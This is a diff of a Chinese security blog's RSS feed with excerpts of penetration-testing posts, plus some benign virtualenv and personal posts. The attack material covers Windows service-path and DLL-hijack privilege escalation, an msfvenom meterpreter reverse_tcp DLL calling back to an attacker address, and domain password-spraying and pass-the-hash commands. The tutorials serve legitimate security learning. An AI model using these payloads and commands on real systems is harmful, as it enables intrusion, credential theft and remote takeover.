+<p>也就是说CLSID就是对象的身份证号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。</p> +<p> + <img src="https://images.payloads.online/2f2090f6-4f5f-11ec-a05c-00d861bf4abb.png" alt=""> + +</p> +<p>按下Ctrl+R打开运行窗口,键入 <code>::{20D04FE0-3AEA-1069-A2D8-08002B30309D}</code>即可打开“我的电脑”</p> +<p>回收站的CLISD是:<code>::{645FF040-5081-101B-9F08-00AA002F954E}</code></p> +<h3 id="clsid是如何创建的">CLSID是如何创建的</h3> +<p>CLSID结构体:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">_GUID</span> {
  +</span></span><span style="display:flex;"><span> DWORD Data1; <span style="color:#75715e">// 随机数
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> WORD Data2; <span style="color:#75715e">// 和时间相关
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> WORD Data3; <span style="color:#75715e">// 和时间相关
  +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> BYTE Data4[<span style="color:#ae81ff">8</span>]; <span style="color:#75715e">// 和网卡MAC相关
 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> } GUID;

 +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">typedef</span> GUID CLSID;  <span style="color:#75715e">// 组件ID
 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">typedef</span> GUID IID;    <span style="color:#75715e">// 接口ID +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>通过操作系统提供的结构体与API来创建CLSID,保障唯一性。</p>Windows 本地特权提升技巧https://payloads.online/archivers/2018-10-08/1/Mon, 08 Oct 2018 00:00:00 +0000https://payloads.online/archivers/2018-10-08/1/<h2 id="0x00-前言">0x00 前言</h2> <p>本文主要有以下章节:</p> <ul> <li>1.服务路径权限可控提权</li> @@ -2973,7 +5861,62 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <img src="https://images.payloads.online/2942f94e-4f5f-11ec-99bc-00d861bf4abb.png" alt=""> -惊喜的发现,<code>“Everyone”</code>用户可以读写该目录下所有文件。</p>Python virtualenvhttps://payloads.online/archivers/2018-08-16/1/Thu, 16 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-16/1/<h2 id="0x00-virtualenv-简介">0x00 virtualenv 简介</h2> +惊喜的发现,<code>“Everyone”</code>用户可以读写该目录下所有文件。</p> +<p>Ps:Everyone代指当前主机下所有用户,包含(Guest)</p> +<h3 id="提权过程">提权过程</h3> +<p>首先,我启用了win7的Guest用户,使用Guest用户登录这台机器:</p> +<p> + <img src="https://images.payloads.online/297e7e1a-4f5f-11ec-af7b-00d861bf4abb.png" alt=""> + + + + <img src="https://images.payloads.online/29b1286a-4f5f-11ec-93d3-00d861bf4abb.png" alt=""> + + +Ping命令都不让用,限制很死。</p> +<p>使用msf生成一个木马:</p> +<p> + <img src="https://images.payloads.online/29f12ac8-4f5f-11ec-aa05-00d861bf4abb.png" alt=""> + + +将木马替换为gwservice.exe</p> +<p> + <img src="https://images.payloads.online/2a32c9ce-4f5f-11ec-b4b8-00d861bf4abb.png" alt=""> + + +先执行测试一下,能否获得Guest的session:</p> +<p> + <img src="https://images.payloads.online/2a70111c-4f5f-11ec-bef8-00d861bf4abb.png" alt=""> + + +获得会话后,注销(或重启)Guest用户,登录管理员用户,获得SYSTEM权限:</p> +<p> + <img src="https://images.payloads.online/2ab054b6-4f5f-11ec-90e5-00d861bf4abb.png" alt=""> + + +提权情况还是要根据服务器本身的环境,我总结的这些方法就是为了优先采用这些方式,而不是直接突突搞EXP ……</p> +<h2 id="0x02-模糊路径提权">0x02 模糊路径提权</h2> +<p>在上一篇中,我们继续基于<code>Gateway Session Service</code>这个服务进行分析其他提权方法:</p> +<p><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services</code></p> +<p> + <img src="https://images.payloads.online/2af42196-4f5f-11ec-b362-00d861bf4abb.png" alt=""> + + +其中有一个ImagePath的名称,它的值是:</p> +<p><code>C:\Program Files (x86)\Gateway\SSLVPN\gwservice.exe</code></p> +<p>当服务启动时,将会读取这个ImagePath的值,我们无法更改这个值,但是可以通过Windows的特性来巧妙提权。 +注意:当前这个环境只是演示,排除目录权限的原因是100%成功的。</p> +<p>重点:当ImagePath的值不是一个绝对路径时,我们可以通过Windows API中的<code>“CreateProcessA”</code>函数的特性,将木马放置在带有空格目录的同级目录下,当服务启动时,会首先在空格目录当前目录搜索第一个单词的二进制文件。</p> +<p>例子:</p> +<p><code>C:\Program Files (x86)\server process\ssl\service.exe</code></p> +<p>如果不是绝对路径,寻找过程如下:</p> +<ol> +<li>C:\Program.exe</li> +<li>C:\Program Files (x86)\server.exe</li> +<li>C:\Program Files (x86)\server process\ssl\service.exe</li> +</ol> +<p>参考链接: +<a href="https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa">https://docs.microsoft.com/zh-cn/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa</a></p>Python virtualenvhttps://payloads.online/archivers/2018-08-16/1/Thu, 16 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-16/1/<h2 id="0x00-virtualenv-简介">0x00 virtualenv 简介</h2> <p>virtualenv 用来建立一个虚拟的python环境,为了解决Python各种库的冲突问题。</p> <h2 id="0x01-virtualenv-安装">0x01 virtualenv 安装</h2> <h3 id="通用安装方法">通用安装方法</h3> @@ -2994,7 +5937,115 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>apt-get upgrade <span style="color:#f92672">&amp;&amp;</span> apt-get update </span></span><span style="display:flex;"><span>apt-get install virtualenv -</span></span></code></prMicrosoft DirectX SDK June 2010 Xact3.exe DLL Hijacking复现https://payloads.online/archivers/2018-08-15/1/Wed, 15 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-15/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-virtualenv-使用">0x02 virtualenv 使用</h2> +<h3 id="帮助信息">帮助信息</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ virtualenv -h +</span></span><span style="display:flex;"><span>Usage: virtualenv <span style="color:#f92672">[</span>OPTIONS<span style="color:#f92672">]</span> DEST_DIR +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Options: +</span></span><span style="display:flex;"><span> --version 显示程序的版本号并退出 +</span></span><span style="display:flex;"><span> -h, --help 显示程序的帮助信息并退出 +</span></span><span style="display:flex;"><span> -v, --verbose 增强输出 +</span></span><span style="display:flex;"><span> -q, --quiet 减少输出 +</span></span><span style="display:flex;"><span> -p PYTHON_EXE, --python<span style="color:#f92672">=</span>PYTHON_EXE Python的可执行路径<span style="color:#f92672">(</span>/usr/bin/python<span style="color:#f92672">)</span> +</span></span><span style="display:flex;"><span> --clear 清除安装的库 +</span></span><span style="display:flex;"><span> --no-site-packages 给出一个干净的环境,不包含系统已安装的库 +</span></span><span style="display:flex;"><span> --system-site-packages 包含系统库 +</span></span><span style="display:flex;"><span> --always-copy 始终复制文件而不是符号链接。 +</span></span><span style="display:flex;"><span> --relocatable 使一个现有的virtualenv环境这会修复脚本并生成所有.pth文件 +</span></span><span style="display:flex;"><span> --no-setuptools 不要在新的virtualenv中安装setuptools +</span></span><span style="display:flex;"><span> --no-pip 不要在新的virtualenv中安装pip +</span></span><span style="display:flex;"><span> --no-wheel 不要在新的virtualenv中安装wheel +</span></span><span style="display:flex;"><span> --extra-search-dir<span style="color:#f92672">=</span>DIR 在DIR中寻找setuptools/pip +</span></span><span style="display:flex;"><span> --download 从PyPI下载预安装的软件包 +</span></span><span style="display:flex;"><span> --no-download, --never-download 不要从PyPI下载预安装的软件包 +</span></span><span style="display:flex;"><span> --prompt<span style="color:#f92672">=</span>PROMPT 为此环境提供备用提示前缀 +</span></span><span style="display:flex;"><span> --setuptools 已废弃 +</span></span><span style="display:flex;"><span> --distribute 已废弃 +</span></span><span style="display:flex;"><span> --unzip-setuptools 已废弃 +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="查看当前版本">查看当前版本</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ virtualenv --version +</span></span><span style="display:flex;"><span>16.0.0 +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="配置一个新的环境">配置一个新的环境</h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span>~$ which python <span style="color:#75715e"># 查看Python路径</span> +</span></span><span style="display:flex;"><span>/usr/bin/python +</span></span><span style="display:flex;"><span>~$ virtualenv --no-site-packages -p /usr/bin/python MyNewEnv <span style="color:#75715e"># 创建环境目录</span> +</span></span><span style="display:flex;"><span>Running virtualenv with interpreter /usr/bin/python +</span></span><span style="display:flex;"><span>New python executable in /home/liyingzhe/MyNewEnv/bin/python +</span></span><span style="display:flex;"><span>Installing setuptools, pip, wheel...done. +</span></span><span style="display:flex;"><span>~$ ls MyNewEnv/ <span style="color:#75715e"># 查看环境目录</span> +</span></span><span style="display:flex;"><span>bin include lib local pip-selfcheck.json +</span></span><span style="display:flex;"><span>~$ source MyNewEnv/bin/activate <span style="color:#75715e"># 将环境生效</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>MyNewEnv<span style="color:#f92672">)</span> +</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>MyNewEnv<span style="color:#f92672">)</span> ~$ pip list <span style="color:#75715e"># 查看已安装的库</span> +</span></span><span style="display:flex;"><span>Package Version +</span></span><span style="display:flex;"><span>---------- ------- +</span></span><span style="display:flex;"><span>pip 18.0 +</span></span><span style="display:flex;"><span>setuptools 40.0.0 +</span></span><span style="display:flex;"><span>wheel 0.31.1 +</span></span></code></pre></td></tr></table> +</div> +</div><p>此时我们可以安装一些新的库</p>Microsoft DirectX SDK June 2010 Xact3.exe DLL Hijacking复现https://payloads.online/archivers/2018-08-15/1/Wed, 15 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-15/1/<h2 id="0x00-前言">0x00 前言</h2> <p>Microsoft DirectX SDK (June 2010) Xact3.exe <a href="https://www.microsoft.com/en-us/download/details.aspx?id=6812">https://www.microsoft.com/en-us/download/details.aspx?id=6812</a></p> <p>目前微软官方已经废弃该SDK,所以我只能本着学习的心态去复现。</p> @@ -3019,7 +6070,9 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span></span><span style="display:flex;"><span>2) create an empty file with a &#34;.xap&#34; extension on the same share, this will open using &#34;Xact3.exe&#34; as its default </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>3) open the the .xap file from the Network share then BOOM! -</span></span></code></pr近期的生活https://payloads.online/archivers/2018-08-03/2/Fri, 03 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-03/2/<h2 id="0x01-入职">0x01 入职</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p>一共两步,第一步是创建两个文件,分别是<code>.xap</code>文件和<code>xbdm.dll</code>。</p>近期的生活https://payloads.online/archivers/2018-08-03/2/Fri, 03 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-03/2/<h2 id="0x01-入职">0x01 入职</h2> <p>在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。</p> <h2 id="0x02-工作">0x02 工作</h2> <p>慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;</p> @@ -3068,7 +6121,17 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <li>vuln 漏洞检测</li> </ul> <h2 id="0x03-nmap扩展脚本铺垫">0X03 Nmap扩展脚本铺垫</h2> -<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p>QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权https://payloads.online/archivers/2018-06-09/1/Sat, 09 Jun 2018 00:00:00 +0000https://payloads.online/archivers/2018-06-09/1/<h2 id="0x00-dll劫持简介">0x00 DLL劫持简介</h2> +<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> +<p>主要介绍如下几点:</p> +<ul> +<li>Nmap扩展脚本用途</li> +<li>Nmap扩展脚本使用方法</li> +<li>如何查看Nmap扩展脚本的Usage(使用方法)</li> +</ul> +<h3 id="0x03-1-nmap扩展脚本用途">0X03 [1] Nmap扩展脚本用途&gt;</h3> +<p>Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。</p> +<h3 id="0x03-2-nmap扩展脚本使用方法">0x03 [2] Nmap扩展脚本使用方法</h3> +<p>在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:http://zhuanlan.zhihu.com/p/26618074</p>QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权https://payloads.online/archivers/2018-06-09/1/Sat, 09 Jun 2018 00:00:00 +0000https://payloads.online/archivers/2018-06-09/1/<h2 id="0x00-dll劫持简介">0x00 DLL劫持简介</h2> <p>《DLL劫持》技术当一个可执行文件运行时,Windows加载器将可执行模块映射到进程的地址空间中,加载器分析可执行模块的输入表,并设法找出任何需要的DLL,并将它们映射到进程的地址空间中。 &ndash; 百度百科</p> <h2 id="0x01-应用程序寻找dll的过程">0x01 应用程序寻找DLL的过程</h2> <ul> @@ -3097,9 +6160,25 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <p>权限问题:</p> <p>如果要劫持的DLL目录被操作系统限制了必须以管理员权限才可以读写,那么我们无法利用,本文演示从低权限到高权限的DLL劫持提权。</p> <p> - <img src="https://images.payloads.online/24ed1d7a-4f5f-11ec-9f88-00d861bf4abb.jpg" alt="0x02"> + <img src="https://images.payloads.online/24ed1d7a-4f5f-11ec-9f88-00d861bf4abb.jpg" alt="0x02"> + +</p> +<p>那么这个漏洞刚刚好也符合我们的案例:C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400</p> +<p>这个目录是任何人都可以读写的,使用MSF生成DLL:</p> +<p><code>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.19 LPORT=4478 -f dll &gt; ntmarta.dll</code></p> +<p>接下来通过任意途径,将dll copy到<code>C:\Program Files (x86)\Tencent\QQPinyin\6.0.5005.400</code>路径下即可</p> +<p>MSF配置如下:</p> +<p> + <img src="https://images.payloads.online/25291a8c-4f5f-11ec-9430-00d861bf4abb.jpg" alt="0x03"> + +</p> +<p>当用户使用输入法的时候、或者重启PC的时候,或者切换输入法的时候,都将会触发,我们可以获得一个Meterpreter会话。</p> +<p> + <img src="https://images.payloads.online/256ca7ca-4f5f-11ec-89a6-00d861bf4abb.jpg" alt="0x04"> -</p>Windows域渗透 - 用户密码枚举https://payloads.online/archivers/2018-05-02/1/Wed, 02 May 2018 00:00:00 +0000https://payloads.online/archivers/2018-05-02/1/<h2 id="0x00-前言">0x00 前言</h2> +</p> +<h2 id="0x03-视频演示">0x03 视频演示</h2> +<!-- raw HTML omitted -->Windows域渗透 - 用户密码枚举https://payloads.online/archivers/2018-05-02/1/Wed, 02 May 2018 00:00:00 +0000https://payloads.online/archivers/2018-05-02/1/<h2 id="0x00-前言">0x00 前言</h2> <p>在进行Windows域渗透的时候,面对庞大的用户账号,不知该从何下手,扫描网络服务有怕搞出大动静,肿么办呢?</p> <h2 id="0x01-powershell">0x01 Powershell</h2> <p>目前已经有很多Powershell集合脚本,用于域渗透简直舒爽</p> @@ -3129,7 +6208,14 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <li>参数: <code>Force</code> 当枚举出第一个后继续枚举,不询问</li> </ul> <h2 id="0x03-使用说明">0x03 使用说明</h2> -<p>使用例子:</p>新生活 - 上海,我来了https://payloads.online/archivers/2018-04-20/1/Fri, 20 Apr 2018 00:00:00 +0000https://payloads.online/archivers/2018-04-20/1/<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> +<p>使用例子:</p> +<p><code>C:\PS&gt; Get-DomainUserList</code></p> +<p>该命令将从域中收集用户列表。</p> +<p><code>C:\PS&gt; Get-DomainUserList -Domain 域名 -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt</code></p> +<p>该命令将收集域“域名”中的用户列表,包括任何未被禁用且未接近锁定状态的帐户。 它会将结果写入“userlist.txt”文件中</p> +<p><code>C:\PS&gt; Invoke-DomainPasswordSpray -Password Winter2016</code></p> +<p>该命令将会从域环境中获取用户名,然后逐个以密码<code>Winter2016</code>进行认证枚举</p> +<p><code>C:\PS&gt; Invoke-DomainPasswordSpray -UserList users.txt -Domain 域名 -PasswordList passlist.txt -OutFile sprayed-creds.txt</code></p>新生活 - 上海,我来了https://payloads.online/archivers/2018-04-20/1/Fri, 20 Apr 2018 00:00:00 +0000https://payloads.online/archivers/2018-04-20/1/<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> <hr> <p>谢谢我的朋友们给我的支持!</p>使用CrackMapExec 进行 NTLM Hash传递攻击https://payloads.online/archivers/2018-03-27/1/Tue, 27 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-27/1/<h2 id="0x01-前言">0x01 前言</h2> <p>早期<code>SMB</code>协议在网络上传输明文口令。后来出现 <code>LAN Manager Challenge/Response </code>验证机制,简称<code>LM</code>,它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。</p> @@ -3165,7 +6251,29 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 -</span></code></pr浅谈使用C语言开发服务端漏洞扫描设计https://payloads.online/archivers/2018-03-20/1/Tue, 20 Mar 2018 00:00:00 +0000https://payloads.online/archivers/2018-03-20/1/<h2 id="0x00-前言">0x00 前言</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>apt-get install -y libssl-dev libffi-dev python-dev build-essential +</span></span><span style="display:flex;"><span>pip install crackmapexec +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x04-传递ntlm-hash执行命令">0x04 传递NTLM Hash执行命令</h2> +<h3 id="使用mimikatz获取ntlm-hash">使用<code>Mimikatz</code>获取<code>NTLM Hash</code></h3> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span 